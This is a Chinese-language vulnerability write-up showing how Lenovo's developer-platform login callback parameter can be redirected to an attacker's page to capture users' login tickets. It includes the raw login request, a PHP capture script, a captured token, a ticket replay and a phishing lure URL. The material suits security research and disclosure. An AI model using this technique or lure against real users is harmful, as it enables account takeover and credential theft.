联想开发者平台可劫持用户凭证

漏洞挖掘

迫于肚子太饿并且厂里砖头太烫的情况下，上天被我感动，赠送了我这么一个洞。

1、打开Url：

https://siotdev.lenovo.com/developers/callback/loginout?lenovoid.wust=&lenovoid.action=uilogout&lenovoid.realm=smartlenovo.lenovo.com.cn&lenovoid.ctx=&lenovoid.lang=null&lenovoid.idreinfo=null&registType=null

2、点击登陆后抓包，抓取的数据包如下：

GET /wauthen2/gateway?lenovoid.action=uilogin&lenovoid.realm=smartlenovo.lenovo.com.cn&lenovoid.cb=https://siotdev.lenovo.com/developers/callback/usrverinfor HTTP/1.1
Host: passport.lenovo.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.04
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: https://siotdev.lenovo.com/developers/callback/loginout?lenovoid.wust=&lenovoid.action=uilogout&lenovoid.realm=smartlenovo.lenovo.com.cn&lenovoid.ctx=&lenovoid.lang=null&lenovoid.idreinfo=null&registType=null
Connection: close

注意数据包里的lenovoid.cb，我们将其修改为http://127.0.0.1/jc.php

jc.php文件的代码是：

<?php
// 因为是演示，所以单纯只是打印，而不是将其存储至数据库
echo "<pre>";
var_dump( $_GET );
?>

放包，然后会来到登陆界面

3、来到登陆界面，输入正确的账号和密码，如图

4、点击登陆

劫持到的url是：

http://127.0.0.1/jc.php?lenovoid.wust=ZAgAAAAAAAGE9MTAxMjM5MjQ3MDkmYj0xJmM9NCZkPTU0JmU9RTA2NTk2ODgyQUM5REJDQzJFRkEwRjRGMTdBMTM1OUMxJmg9MTUzMTU1NTMyMzAyMCZpPTQzMjAwJmlsPWNuUyemHn1Kqq62f-5uTRI69A&lenovoid.action=uilogin&lenovoid.realm=smartlenovo.lenovo.com.cn&lenovoid.ctx=&lenovoid.lang=null&lenovoid.idreinfo=null&registType=null

将127.0.0.1/jc.php?修改为https://siotdev.lenovo.com/developers/callback/usrverinfor?：

https://siotdev.lenovo.com/developers/callback/usrverinfor
?lenovoid.wust=ZAgAAAAAAAGE9MTAxMjM5MjQ3MDkmYj0xJmM9NCZkPTU0JmU9RTA2NTk2ODgyQUM5REJDQzJFRkEwRjRGMTdBMTM1OUMxJmg9MTUzMTU1NTMyMzAyMCZpPTQzMjAwJmlsPWNuUyemHn1Kqq62f-5uTRI69A
&lenovoid.action=uilogin
&lenovoid.realm=smartlenovo.lenovo.com.cn
&lenovoid.ctx=
&lenovoid.lang=null
&lenovoid.idreinfo=null
&registType=null

所以我们只需要诱惑用户打开如下url：

passport.lenovo.com/wauthen2/gateway?lenovoid.action=uilogin&lenovoid.realm=smartlenovo.lenovo.com.cn&lenovoid.cb=http://127.0.0.1/jc.php

这里假设127.0.0.1是我网站的域名即可，当用户打开这个url并且输入正确的密码后，我就可以成功获取到他的登陆凭证~